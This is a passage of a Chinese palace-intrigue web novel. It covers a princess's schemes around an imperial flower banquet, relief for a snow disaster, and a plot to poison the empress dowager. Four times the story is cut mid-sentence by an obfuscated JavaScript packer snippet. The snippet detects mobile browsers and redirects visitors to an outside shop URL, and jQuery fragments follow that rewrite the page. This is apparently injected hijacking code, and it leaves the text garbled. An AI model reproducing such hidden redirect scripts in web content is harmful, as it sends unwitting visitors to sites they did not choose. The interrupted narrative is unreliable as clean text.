二来则是给那些心存不满的朝中大臣一个交代。
皇后之位尚空，她们率先入宫既是机遇，也是众矢之的，他人眼中的垫脚石。
三来一旦入宫，便任由太后摆布。
等皇后之位定下，或可随意找个罪名处置，也算是对无辜受害的百姓有所交代。
真可谓一箭三雕！
好一个明远太后！
只是苦了沁澜，却要违心虚与委蛇。
萧墨凌心中再有不甘，现下也无力反抗。
算了，太后终有寿终正寝的以日。
想到这里，他长长吐出一口气，从容起身，向御花园摆驾而去。
＆
赏花宴顾名思义，整个御花园最为显眼者，莫过于一院子花卉供人观赏。
对于诗酒风流的文人雅士而言，这满园姹紫嫣红自是惊喜连连。
对识字不多的德伦郡主来说，这场宴会却显得乏味至极，无聊透顶。
且宴会中尽皆是嚣张与势利之人，竟全部对她不理不睬，简直嚣张跋扈至极。
她怒不可遏，随手摘下身旁一朵十八学士，一片片撕扯着花瓣，眼神凌厉地扫视四周，
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178286|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满心不快。
随行的丫鬟禾茉见状，连忙低声劝阻，“郡主万万不可再摘了。此处乃皇宫禁地，御花园的一草一木皆归皇家所有。若被他人举报，恐……”
她环顾四周，压低声音贴近耳边道：“大人交代的要事，恐将难以实现。”
此话倒是令她稍显平和。
德伦郡主愣怔片刻，愤愤然将手中的残破花瓣掷于地上，气急败坏地踩踏几下，勉强平息了胸中怒火，冷声道：“你说得对，待我他日成为皇妃，定要让他们瞧瞧，谁才是真正的主子！唯一的主子！”
“嘘！郡主，切莫直言不讳。”禾茉指向不远处正被众人簇拥奉承的祥和县主。
“哼！做什么？她不就是一个表面光鲜的臭婊子嘛！她身上穿的……祥和那贱人竟也获太后娘娘恩赐的浮光锦？”
“郡主身为萧氏母族之后，所言自然在理。但入宫前还需保持沉稳，莫让县主抢了风头。”
此言让德伦猛然醒悟，她不屑地冷哼一声，旋即转身走向一处避风温暖之地，独自站立，瞪着园内众人，看谁都不顺眼。
今日的赏花宴除却众多官家小姐外，明远太后还特意邀请几位官家公子入宫，原意是为贤昭公主挑选佳婿。
顾及女子声誉，最终只有少数宗室子弟，即几位原备太子受邀参加。
宁郡王萧抒念及此，不禁含笑摇头，“从备选东宫到备选驸马，这人生轨迹，当真是充满了戏剧性……”
“是啊，亦辰已前往凉州赈灾安民。若他在场，倒是更为齐全。”一向稳重的司空颢难得自嘲。
“嗳，承韫，许久未见，你这些日子在府中都做些什么？你素来低调，也未曾听闻你有何特别喜好。不如今日回去后，我们几个聚一聚？”萧抒性格爽朗，今日重逢，感慨万分。
“不了。”陆承韫身姿挺拔，身着月白色锦袍，袍摆随风轻扬，“我素来不喜外出，平日里多在家中翻阅些杂乱的游记。酒馆茶肆太过喧嚣，不合我意。此番推却郡王美意，还请见谅。”
“你说话总是这么客气，我们毕竟在文华殿同窗共读，实在不必这样见外的。”萧抒言罢，抢先一步说道：“我早已打听清楚了，你们近日并无要事。今日出宫后初语楼相聚，我请客，谁也不许推脱！否则就是不给我面子啊！”
为增说服力，他转向官职最高的醇亲王，戳了戳他的手臂，“尤其是润知。你那忠勤伯府空间有限，不如今夜来初语楼，听书品茗，尽兴而归。我们好好聚聚，放松心弦。”
“嗯……”蔫润知垂眸望着眼前盛开的花，有气无力地回应。
“这是怎么了？”萧抒环顾四周，笑问：“老朋友相见，怎么反而不悦？看到我就这般丧气？”
“此次入宫，太后想要为沁澜挑选驸马。若我等中有人合适，便不再筛选其他官宦子弟。润知，恐怕正为此事烦忧。”司空颢于一旁接过话茬，解释道。
“就这啊？润知你担心什么。”萧抒拍了拍胸脯，“我发誓我对贤昭公主绝无他想，你尽可放手去追求。司空更不必说，承韫呢？”
陆承韫突然被问及，眉梢微挑，嘴角挂着淡笑，点了点头正欲开口，萧抒却当即自问自答，“贤昭公主的婚事，涉及朝堂内外，非同小可，与皇后之选不相伯仲。你无须忧虑，此事定不会仓促决定。
我对你们几个一清二楚。贤昭在他心中永远是妹妹，润知就只管洗洗干净，好好做新郎官吧！”
35. 路不好走，
“陛下驾到……太后娘娘驾到……贤昭公主驾到……”
随着唱和完毕，太监拂尘一甩，随即躬身侧步，毕恭毕敬第让出身前道路。
御花园内原本分散的官家小姐们听罢顿时聚拢，齐刷刷跪拜，高呼“万岁”、“千岁”……
待萧墨凌赐下“平身”，并略作寒暄后，原本闲适的众小姐们纷纷趋近太后，谨慎地斟字酌句恭维。
这等机会难得，无人愿轻易错过。
萧沁澜被太后遣去一旁，正无聊地绕着花坛散步，转身之际，不经意间抬眼，便见久未谋面的醇亲王立于不远处，目光紧锁于她，一瞬不瞬，旋即又迅速垂眸，极为生疏地抱拳行礼。
倒是令人意外，也不知他何时释然，竟主动放弃，退让回君臣关系。
小孩儿长大了啊！
“哎，那不是贤昭吗？难怪润知神思恍惚，原来是遇见了我们明昭王朝唯一的公主殿下！”萧抒乐呵呵地从旁跑来，看清他心心念念之人，意味深长地拍了拍他的肩膀，调侃道：“才多久未见，怎就变得这般不谙？贤昭，可还记得我？”
细算来，他辈分在前。
“自然记得，宁郡王安好。”萧沁澜向他微微颔首，笑语相应。
“记得便好。我们曾在文华殿同窗共读，不该与素昧平生那般循规蹈矩。难得偶遇，方才我正与承韫商议，离宫后去初语楼小聚一番。贤昭，你可曾听说过初语楼？”
萧抒兴致勃勃地介绍，“那里的说书先生技艺非凡，虽是女子，却言辞犀利，字字珠玑。楼中所讲之书亦非寻常情爱故事，别具一格。就连太傅庆如韩大人也屡加赞誉，时常提及。”
“本宫久居深宫，却是听母后曾提及，初语楼确实令人称奇。且，胆识过人。”萧沁澜眉眼弯弯，话落转向他身旁，“二公子。”
“公主殿下。”陆承韫行礼周全，神情淡然，无丝毫异样。
“嗯。”
＆
萧墨凌因政务繁忙，加之今日乃太后主持的赏花宴，无需分心，故而仅仅现身御花园，简短交代几句后，便乘龙撵前往乾清宫批阅奏折。
时至近午，太后召来德伦郡主与祥和县主，择一风光旖旎、光线和煦之处落座，目光逐一扫过如娇花般绽放的千金们，面上挂着不绝的笑意，
“这些孩子皆是家中珍宝，又仙姿佚貌，初发芙蓉。看她们在此谈笑风生，哀家也觉得年轻了许多。”
言罢，太后摇头轻叹，“不似贤昭愈发沉静，已许久未与哀家亲近了。”
琉薇笑道：“公主殿下乃人间麟凤。得太后娘娘教导，又才调无伦，自是与寻常女子不同。”
“贤昭公主确实为国之颜面，身份尊贵无匹，岂是寻常官家小姐所能相提并论的。”话音刚落，德伦郡主冷嗤一声，
“儿臣记得，公主殿下昔日狂放不羁，常常与军中男儿一起出入军营，吃喝亦是同往。不过如今倒是蜕变得端庄大气，想来是太后娘娘悉心教诲，费了不少心思。京师之中，无人不颂扬太后娘娘去伪存真，去芜存菁。”
“是吗？”太后语气温和，喜怒不形于色，继而对另一人问道：“祥和以为，贤昭现今性情如何？哀家是否对她过于严苛？”
祥和县主浅笑盈盈，态度不卑不亢，“公主殿下承蒙太后多年抚育，知世礼，明是非。温婉贤淑，善解人意，较之往昔更添无尽风采，令吾辈女子难以企及。实为皇室之楷模，天下女子之典范，应为万民所效法。”
“呵……”太后尚未开口，德伦便抢先道：“说得那么文雅，其实与本宫的答案无异。县主难道不知‘女子无才便是德’的道理吗？读书再多有何用？陛下可是最为偏爱习武的女子。县主这般柔弱，怎能为陛下传承血脉，莫非只想空占一宫？
国中有灾，县主理应多祈福求平安，以大局为重啊！”
一番话令她洋洋得意，却在转瞬间陡然意识到，此地并非府中，自己竟胆大失言。
她惊慌地望向太后，见太后正沉醉于御花园的景致之中，并未责备，这让她不禁更加沾沾自喜，又补了一句，“县主妹妹，要时刻切记自己的身份才是！”
“是。”祥和县主不急不闹，朝她作揖，“郡主姐姐教训的极是，祥和铭记在心。”
＆
“去伪存真，去芜存菁……”摆脱了几人后，萧沁澜行至一幽静之地，慢悠悠道出此话，眸中拂过流光，“这是明指本宫揣合逢迎军中将士，实则庸言庸行，尸位误国了？口无遮拦，太后未加管束？”
“奴婢也甚感疑惑。”本采皱眉歪头，眼中满是不解，“此话狂妄自大至极，太后何以直接默许，不见丝毫怒意，更无半点斥责呢？”
“原来如此……”萧沁澜转动着指尖的戒指，沉思片刻后说道：“德伦郡主的父亲身为外戚之首，手握重权。家族兄弟众多，皆身居官职。虽不是实权，却享有一定声望与地位。
能将这位即将入宫的郡主，教养的孤高自许、轻佻放诞，要么是家族有意送个宠爱的人质以示忠诚，要么便是根本未将皇室放在眼里。这样的妙人……”
她心中已有计较，“传令下去，在德伦郡主入宫前，务必确保她的安全无虞。”
“……是，奴婢遵命。”
“方才那番进退自如的言辞，真是出自祥和县主之口？”
“县主所言与郡主之意相同，却更为温婉。”
“此人确是不易对付。”萧沁澜点头应和，假山后忽然有轻微响动，她霍然转身，锐利的目光直穿那层层假山。
这附近暗卫密布，若是外人断不会疏忽禀报。
宫中也不该有轻功一绝的高手。
果不其然，来者正是陆承韫。
陆承韫双臂受缚，正被暗卫钳制于假山远处。
尽职尽责！
该赏！
不过薪资已颇为丰厚？
那便加发奖金以示嘉奖！
待遣散仆从，陆承韫收敛了平日的温文尔雅，斗胆握住了她的纤手，几息后撤回，“你想要择驸马？”
“是太后擅自决定。”萧沁澜慵懒地倚靠在假山上，随手拾起石子，对准前方小孔随意一掷，精准无误投入缝隙中，有些心不在焉。
“你今年……已到适婚之龄。”陆承韫目不转睛，望着她波澜不惊的面容，试图从中解读更多。
“润知与宁郡王近况如何？”
“……嗯？”话题突转，陆承韫微怔片刻，俄而回神，“沁澜，那晚我已向你坦陈了大半势力，你还有事情瞒着我？”
“那是当然。”萧沁澜理直气壮，“你我名分未定。若等你他日登基，嫌弃我这糟糠之妻弃之不顾，我毫无准备，又该怎样去留？你亦有所保留，不是吗？”
断章取义，自己曾多次言明，保留部分势力是惧怕她半途离弃。
贤昭公主身为皇族独苗，退路重重；而他自己唯有孤注一掷。
“沁澜……”陆承韫无奈叹息，正欲开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188294|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口，却觉腰间一紧又一紧。
玩闹过后，萧沁澜取出帕子擦拭手上尘埃，而后回身立于他侧，松开衣带，将那方手帕轻轻……缓缓……徐徐……
插入他的腰间。
挑眉娇笑，眼波流转，“若想见本宫，记得通知暗卫，我随时……‘幽篁待月’哦～”
言罢，她松开手掌，朝他挥了挥，自在离去。
手帕、初夜，对女子而言皆珍贵至极，非亲近之人不得触碰。
陆承韫目送她的身影远去，彻底不见半分后，方从腰间取出那块淡紫色的香帕展开。
其上“贤昭”二字赫然在目。
紫色绸缎无价而罕见，多为宫廷专属，民间鲜有。
不论这字迹是否出自她手，仅凭此帕，便能明了赠帕之人的心意。
陆承韫胸口大石稍落，想要将帕子重归腰间，却又觉不妥，遂小心翼翼地将它贴近胸口，珍之重之。
……
回到御花园已是小半个时辰后，萧沁澜身为公主，非今日的焦点，仅需短暂露面即可。即便她离开多时，太后也未加询问。
亲自见过德伦与祥和，并大致了解了她们的秉性后，正午时分，太后邀请所有官家小姐至附近凉亭共用午膳。
膳后，太后以疲累为由，遣散了随行的众人。
宫门口的马车逐一离去，皇宫重新归于宁静与平淡。
＆
夜半之时，本采恭敬地呈上一叠情报，言道：“暗卫已查明，靖郡王此次外出确有不轨之举，他从朝廷拨发的赈灾款项中私自截留了一部分。数额不算大，却足以在京师购置一座中等宅院，或是解决所有灾民近半年的温饱问题。”
萧沁澜细细翻阅着这些情报，眼神深邃冷峻，“继续。”
“是。靖郡王行事狡猾，他并未直接盗取银两，而是将部分粮食高价售予探听消息的外邦商人，并将账目做平。
国库充盈，拨出的赈灾款项数额巨大，靖郡王所贪之财仅是其中极小的一部分。
若非主上英明，派遣暗卫扮作难民与差役时刻监视，此类隐秘行径与微末之财，断不会有人察觉。”
“自古以来，赈灾事宜便常伴浑水摸鱼之徒。就算靖郡王将此事公之于众，那些心存不轨的官员也会相互包庇，甚至可能对他的谨慎之举嗤笑以对。”
本采贫民出身，深谙其道。
她郑重地点了点头，“主子未雨绸缪。明昭建立以来灾厄稀少，多为德行不符职位的老臣暗中贪腐所致。如今那些老臣多已伏法，新帝登基，朝廷上下呈现一派新气象。对于此景，主子有何打算？”
“靖郡王行动迅速，亲力亲为，为皇室赢得了一份好名声。”萧沁澜起身，将桌上信件悉数投入炭火中，“此事确凿，但世人断不会相信他仅贪得微末，难以作为有力证据。”
“真是可恶可恨！”本采愤愤不平，“明明是主子尽心尽力，在各州府安排了暗卫提前打点一切，这才及时控制灾情。
主子本该名垂青史，却偏偏因为女子，被朝臣轻视，遭太后打压，还被诸多派系联手利用。若非主子天生睿智，恐怕早已被这京师吞噬殆尽了！”
“别急，终会有拨云见日的一天。”萧沁澜笑着安抚她后，目光落在碳炉中即将燃尽的宣纸上，“靖郡王啊……
凉州严寒艰苦，赈灾安民之路定不平坦，奔波劳累之下必会染病。
如此大功，记得嘱咐差役提前备好药物，以免丧命。”
36. 她到底…… 有没有动过一丝……
“此次雪灾虽然猛烈，来势汹汹。可幸得陛下调度得当，英明神武。加之政局清明，朝野同心协力，终使明昭王朝顺利度过难关，百姓安室利处。”
太和殿内，兵部左侍郎手持笏板，中规中矩地夸赞。
定国公陆泽好似随波逐流，出列恭敬行礼道：“陛下英明神武，引领明昭王朝步入安泰之境。太后娘娘恩泽广布，对朝中官员各有所长之事，明察秋毫，及时调度，方使凉州雪灾在半月之内得以妥善解决。
微臣深感钦佩，自愧弗如，今后定当紧随太后娘娘与陛下步伐，鞠躬尽瘁，为国为民。”
这段话无论是初听还是细品，都显得颇为妥帖。
高踞龙椅之上的萧墨凌端坐其间，首先发话：“朕得百官之忠诚与担当，又见百姓之团结与坚毅。短短半月间，雪灾得以平息，众人得以妥善安置，足见明昭上下同心，共克时艰。朕心甚慰。”
言毕，他微侧头，目光穿过珠帘唤道：“母后……”
明远太后摆了摆手，未再多言。
＆
朝会之上事务繁杂，不外乎国家大事与琐碎细务。
“凉州雪灾作为陛下登基后，首次遇到的重大考验。能在短时间内圆满解决，且未生暴乱，侧面说明今上得位正统，顺天意。凉州无疑为今上一大实绩，不容忽视。”
慈宁宫内，太后听闻琉薇的扼要分析，不禁冷笑，“功绩？皇帝初登大宝，既无赫赫战功，又未育有子嗣。国库充盈还不是哀家多方筹谋、尽心竭力之果。”
“娘娘所言极是。正因这是事实，陛下才未敢大肆声张。
历朝历代中，不乏有皇帝无需才智超群，只需顺从便能赢得满朝文武拥戴的。
陛下性情历来直率敢为，兼具武将之风。如今看来，陛下应是受了某些幕僚的劝谏，方能忍辱负重。能展现容忍，大抵是未曾触及内心，那不可逾越的最终界限。”
太后转动着指间的扳指，懒散一笑，“贤昭近日，可都躲在宁安宫中未曾外出？”
“回禀太后，奴婢派人每日监视，殿下素来谨慎温顺。”琉薇稍顿，继而补充道：“表现极为稳重。”
“凉州局势已稳。靖郡王何时能归？”
“回程不比赈灾之时的紧迫，无需日夜兼程。依过往情形推测，靖郡王沿途定行官道，各州府衙门必会争相迎接。最早恐也需至十二月中旬方能抵达。”
“十二月中旬……”太后目光微垂，望向殿外若有所思，“年关将至了啊！”
琉薇简短应了声“是”，扫视四周确认无人后，方小心翼翼地问：“奴婢是否需要提前做些准备？”
“萧亦辰毕竟姓萧，乃正宗的皇室血脉，怎会公然在各州府久留？他既无强大后盾，又无人脉财力，不会与定国公这等硬骨头为敌。”
“那……若是一路急行，靖郡王或许能在十二月上旬便抵达京师。”
“确实，十二月上旬……”太后揉着额角，语气淡然，“容哀家思量，要怎样利用此事，调和皇帝与亦辰的关系呢……”
＆
宁安宫内，萧沁澜仔细读完新到的信件后，随手将其揉成一团，轻轻一掷，将信件准确无误地扔入炭盆，火焰瞬间旺盛。
她挑眉一笑，对身旁之人得意地说：“看吧！我虽多年未上战场，武艺却未生疏半分。本琢现在何处？可有时间与本宫切磋一番？”
她倒是尚有余力开玩笑，本采早已依她吩咐读过那封信，此刻简直焦急如焚，却又不敢对主子有丝毫重言，只能愤懑道：“奴婢不知！”
“贪功冒进，并非明智之举。”她满心为自己考量，萧沁澜怎会不明。
室内炉火融融，她慵懒地蜷缩于贵妃榻上，覆着毯子，怀抱软枕，不愿动弹分毫。
本采在榻边来回焦急地踱步，“主子到底有何想法，奴婢实在愚笨猜不透，主子可否略加指点一二？或告知奴婢主子不会吃亏，奴婢方能安心啊！”
“来，坐下说话。”萧沁澜拍了拍榻边，示意她靠近，“早在凉州雪灾消息传至京城的半月之前，本宫就已经安排妥当，控制好了灾情。现下靖郡王前往不过是锦上添花，图个美名罢了。”
“这么重大的功劳，主子就这样放弃、拱手送人了吗？”本采坐在贵妃榻下，趴在榻沿上，一脸恨铁不成钢的表情说道。
“不相送，难道要昭告天下，让所有人都知道贤昭公主的势力庞大，连凉州那样偏远之地都有她的布局？”萧沁澜笑着调侃，轻轻敲了敲她的额头，“这皇宫如狼似虎，若你哪天离开了本宫，你该怎么自处呢？幸好你的轻功得我真传。”
本采自知理亏，抿紧嘴唇，双手抱臂沮丧地低下头，“奴婢一无所有，连这条命，这一身武艺，都是主子给的。”
言毕，她突然振作起来，目光坚定地仰视上方，“但奴婢发誓，无论生死，都愿追随主子，生生世世不离不弃……”
“够了！大冷天的，怪瘆人的。”萧沁澜打断了这近乎誓言的表白，转而与她分析起事情的原委，“你认为靖郡王立下这么大一件功劳，回朝后会受到什么奖赏？”
“靖郡王或许会表面平静，接受一切荣耀，暗地里则设法笼络些不起眼的官员。待他再成就一番伟业，风光无限之时，当众领赏并可能散布些谣言。
凡赈灾有功者回京途中必行官道，沿途难免受到各州府衙门的恭维。奴婢猜测，靖郡王此番归来，应在十二月中下旬左右。”
萧沁澜提醒，“方才信中说了，靖郡王感染风寒，无论出于谨慎低调还是治病需要，萧亦辰都会在十二月上旬返回。”
“对啊！年关将近，若靖郡王中下旬才回，届时皇上或许会以过节为由拖延奖赏，或在宫中直接颁发，这样让人很难指责。同时亦会让京中官员揣测圣意。到底是皇家，定国公已经毫无拥趸，这时谁亦想提前冒头。”
“不错。”萧沁澜惬意地趴在软枕上，“皇子皆怀野心。当今皇帝非我萧氏直系血脉。我此前布局两策，一涉民间，一在定国公府。而今尚需一剂猛药，逼迫那些摇摆不定的臣子犯错，与定国公共赴绝路。”
“主子尽管吩咐，奴婢万死不辞，誓死追随！”
瞧着她满含期待崇拜的模样，萧沁澜忍俊不禁。
还真当自己无所不能了。
要平安到达最后，人脉、财力与及时的消息
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201852|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缺一不可，若再得天时地利，自是如虎添翼。
但天时地利难求，所幸人脉财力她皆早早筹备。
只要提前几日知晓半分大事小情，想要达到目的，不算困难。
从古代的口耳相传，到后世的网络信息飞速传播，这一过程不知改变了多少人的命运，或是毁灭，或是成就。
她始终对未来有着清晰规划，并在此过程中有自己坚守的底线。
曾被推到太子之位的六人不死，也必须彻底隔绝他们的后路，不让臣子有任何提出的可能。
包括陆承韫，蔫……
润知。
“不必你以身犯险，萧亦辰与本宫毕竟同出一脉，他的性命与名誉，本宫自会保全。”
萧沁澜眼神微敛，“无论过程曲折，经历了何种变故，只要最终目标不变，那些细节便显得微不足道。凉州的雪灾虽属意外，却成为推进我们目的的一张牌，接下来的事情无需我再多费心力，结果已成定局。”
“那么……这次的功劳……”
“自然是归靖郡王所有。现下本宫有些倦了，明日我会撰写一份话本，你先让书坊准备好，待到合适的时机，便传播出去。京师、州府、乃至乡县，一处都不能遗漏。”
“奴婢明白了，后续事宜，奴婢会全力跟进。”
“交给你，本宫自然放心。”
＆
定国公府西院内，“哐当”一声巨响，元栖卷起一阵风，急匆匆地推门跑进来，边跑边张望，急呼道：“公子，暗卫紧急来报，凉州出事了！情况紧急！”
“嗯，给我吧。”陆承韫拂去吹到脸上的宣纸，放下笔从容接过他递来的信函，拆开细读。
片刻后，他原本平静的眼神骤变，眉头紧锁，反复阅读那简短的几行字，终于领悟到其中隐藏的深不可测，与权势纠葛。
“沁澜，竟有如此手段。”
“公子您在说什么？贤昭公主自然非凡。”暗卫只提及凉州事变，具体情形元栖并不清楚，他疑惑发问。
“无事。”
定国公府窥探陆承韫的目光并不比皇宫中少。
阅后他即刻将信件焚烧殆尽，不留一丝痕迹。
待确认无误，他缓缓步至门前，将屋门敞开，凝视着外面灰蒙蒙的天际，陷入沉思。
沁澜智商之高，简直超乎常人，这一点在她年仅十岁时便已显露无遗。
能在那位手段强硬的太后麾下自如行事，且从未引起丝毫怀疑，足见沁澜的人脉广泛。
人脉、灵通的信息、与生俱来的尊贵身份，以及她那运筹帷幄的智慧。
这些元素汇聚一身，本已坚不可摧。
更令人意想不到的是，她的财力同样惊人。
竟能一力承担凉州城所有百姓的冬衣、粮食、住房、药材等一切所需，安排得井井有条，无微不至，从未有过半点短缺。
面对这样的对手，若仅凭她的柔弱外表便轻易相信，其后果之惨烈可想而知。
她究竟为何看重自己？
难道仅仅是因为，自己偶然间撞破了她的秘密吗？
她到底……有没有动过一丝真心？
37. 这次到底送了
正值申正酉初刻，定国公府内晚膳时分。
陆泽脸上喜色抑制不住，连饮了两碗羹汤后，方才心满意足地长叹一声，“此番果真是天公作美。
原以为凉州那场骇人雪灾，定会引起民怨沸腾，私下里难免有人非议凌儿，甚至借姓氏生事，掀起风波。未料萧亦辰竟有如此能耐，短短十日便稳住了灾情，还前瞻性地预防了后续疾患。
你说，咱们凌儿岂非真是天命所归，众心所向？”
“老爷何以断定是十日内？”严兰乐秀眉微蹙，“消息今早方入宫，凌儿随即宣告捷报。细算起来，应是超过半月有余，怎会是十日呢？”
“你当衙役送信不需要时间吗？雪灾既已解决，路上相比以前肯定好走许多。原本便需多半月才能到达京师，如今必然更加顺畅。”
“喔……”严兰乐了然地点了点头，“久居后宅，我竟忘了这等浅显之事。”
“你呀，也别闲着。京师有座初语楼，里面无论是说书人还是侍女，皆是出身清白的姑娘。赏花品茶、饮酒赋诗、听书赏曲。你若空闲，不妨前去放松，和其余官家夫人闲聊结交。”
“女子只需生儿育女，照顾府邸便好。怎能轻易抛头露面，这实在不合体统。”
闻听此言，陆泽亦是感慨良多，“初语楼初建之时，正因女子抛头露面没少受抵制。但无论遭遇何种□□烧，它都挺了过来。
算算日子，至今已有四年。
不得不说，初语楼所传之书，与世俗大异其趣。不局限于酒楼茶馆中常见的儿女情长，其境界之高远、思考之深邃，简直无可匹敌。就连当朝太傅也对其赞誉有加……”
坐在末位的陆承韫静静聆听，沉默用膳。
女子多以柔弱著称，而沁澜却文武双全，才智出众。
战乱频仍之际，无数女子被父亲出卖，饥饿之时，更是首当其冲成为牺牲品。异族侵略者更是视她们如草芥，有时连物件都不如。
若沁澜真的母仪天下，赋予女子过多权势，动摇千百年来的习惯与秩序，必将招致世人非议，群臣反对。
现下能随意经商，游历四方，已非前朝可及。
这样有远见的女子，竟是自己的夫人，未来将与自己携手共度此生！
陆承韫嘴角上扬，眼神愈发柔软。
“承韫，你听到了吗？”
一声轻唤让他恍若初醒，他转过身，行礼回应。
无论何事，总是先应一句“好”。
陆泽见状，满意地点了点头，“凌儿在宫中处境艰难，明远太后处处为难他，朝中仍需我们助力，以确保他能稳固皇位。
你上次的任务完成得很出色，明日便去找司空颢，让他设法获取一剂慢性毒药，让太后服下。”
“慢性毒药？！”陆承韫语气不由自主地加重，“父亲，这等同于弑君，一旦败露，便是诛九族的重罪……”
“有何可惧！”陆泽打断了他，声音更加洪亮，显得颇为不耐，“此事非同小可，你需小心行事，慢慢游说，近期多与司空家往来。
你身为定国公府的公子，而定国公府又是皇室宗亲，只要利益足够诱人，加之你们昔日的军中情谊，他怎会不助你一臂之力？”
陆承韫并未立即应允。
司空颢与他相同，乃是宗室成员啊……
陆泽知他心中顾虑，却未点破，“谈及文华殿中的几位，司空一家最无需忧虑。他的母亲虽为太祖庶姐，可已仙逝多年，且司空并不姓萧，他自知分寸。
你若与他多亲近，以诚相待，假以时日他定会心甘情愿地相帮。
我知道这事非一朝一夕可成，即便他应允，我心中亦难安。你只管先与他交往，其余心中有数便好。”
难得的温和态度，却又是为了兄长。
陆承韫态度谦逊，行若无事，“是，父亲。”
今日欲问之事，似乎已有了答案。
凉州之事，沁澜真是深藏不露啊！
＆
次日清晨，萧沁澜用完早膳，练了一套剑法，回宫重新洗漱后，宫女前来禀报，言太医院院使之子司空颢前来请平安脉。
宁安宫内多为她的亲信，得知消息时，司空颢刚出太医院。
“请平安脉是每三日例行之事，今日为何特意回禀？”
本采将温热的手炉递给她，“听闻醇亲王所选的亲王府邸已装修妥当，今日特遣司空公子前来，探问主子何时方便出宫，以便醇亲王依主子所定的日期提前筹备宴席。”
“本宫记得，润知七日前才选定府邸？”
“奴婢特意提前问过。据暗中监视的侍卫回报，醇亲王动员众多工人昼夜不息，方在七日内完成初步布置。奴婢揣测，或许醇亲王难以忍受忠勤伯的荒唐，亦或……”
她目光微垂，落在地面的玉石上，“太后尚未表态驸马的最终人选，近日来已在官宦子弟中悄然物色。”
话尽在不言中，萧沁澜抚摸着手炉细腻的纹路，沉吟片刻后吩咐道：“你去准备外出所需，要稳重得体，不可泄露本宫身份。现在便去库房精心挑选几件礼品。”
“听主子之意，莫非是要在宫外小住几日？”本采兴高采烈，语气激动，“自明昭王朝建立以来，奴婢独自出宫为主子办过许多事，却许久未伴主子一同遍赏京师了，甚是想念那个时候骑马畅游的时光！”
“宣王府沉寂多时，本宫也是该去看看了。就按三日准备。”
“……是。”本采应声，忆起王爷略显失落地退出了寝殿，“奴婢遵命。”
她离开一盏茶后，司空颢携药箱缓缓步入，先向萧沁澜行礼，而后单膝跪地，细致把脉。
确认无恙，他边整理药箱边思忖着言辞。
萧沁澜并未催促。
按理来说，这等宫外小事，她本不应知晓。
“司空兄长今日为何动作迟缓？莫非有什么烦心事？”
“今上龙体康健，‘兄长’二字实在不合适，不可再像从前那般了。”
终于寻得交谈时机，司空颢说罢看似不经意地问道，“我昨日偶遇润知，闲聊间得知他已搬离忠勤伯府，且醇亲王府也已装潢一新。”
“咦？我记得皇兄不过月前才下旨筹建亲王府，怎会这么快竣工呢？”萧沁澜杏眼圆睁，满是不解。
“润知与忠勤伯的情况，你我都心知肚明。他提前搬离，也在意料之中。”
司空颢望着她清澈的眼眸，轻叹一声，决定坦诚相告，“王府落成，自然需邀亲朋好友共庆，因此润知托我询问，沁澜你何时得空，能否出宫赴宴。”
“润知为何不亲自来询我呢？他若不能入宫，递上帖子便是，何必劳烦司空……小大人呢？”
司空颢摇了摇头，被她的称谓逗得发笑，“润知此前与你多有……牵绊，如今想来大约是觉得颇为不妥。
此次他特意嘱托我，让我不要透露他的身份，委婉与你商定个会面时间。
我想着，我们一同经历许多，彼此秉性了然于胸，实在无需这么见外。”
“润知多虑了，我怎会生他的气。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212110|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”萧沁澜紧了紧手中的暖炉，“我会尽快给出答复，到时会让本采前往太医院告知司空大人。”
“好，那我就静候佳音了。”司空颢理解她的顾虑，无奈摇头，“宫中规矩繁多，既是要向太后求情，沁澜你不如多求些时日。”
“可宫外并无公主府邸，女子名节至关重要，又不能随意栖身客栈。那要去哪里落脚呢？”萧沁澜低头沉思，突然眼前一亮，“说起来，我已许久未见皇兄了，此番出宫正该去向皇兄请安。”
“沁澜是说，宣王殿下吗？”见她满眼星光，司空颢抿了抿唇，“四年了，天下已经太平，若以此为由求个自在，应该无大碍。哎，沁澜，这些年苦了你了。”
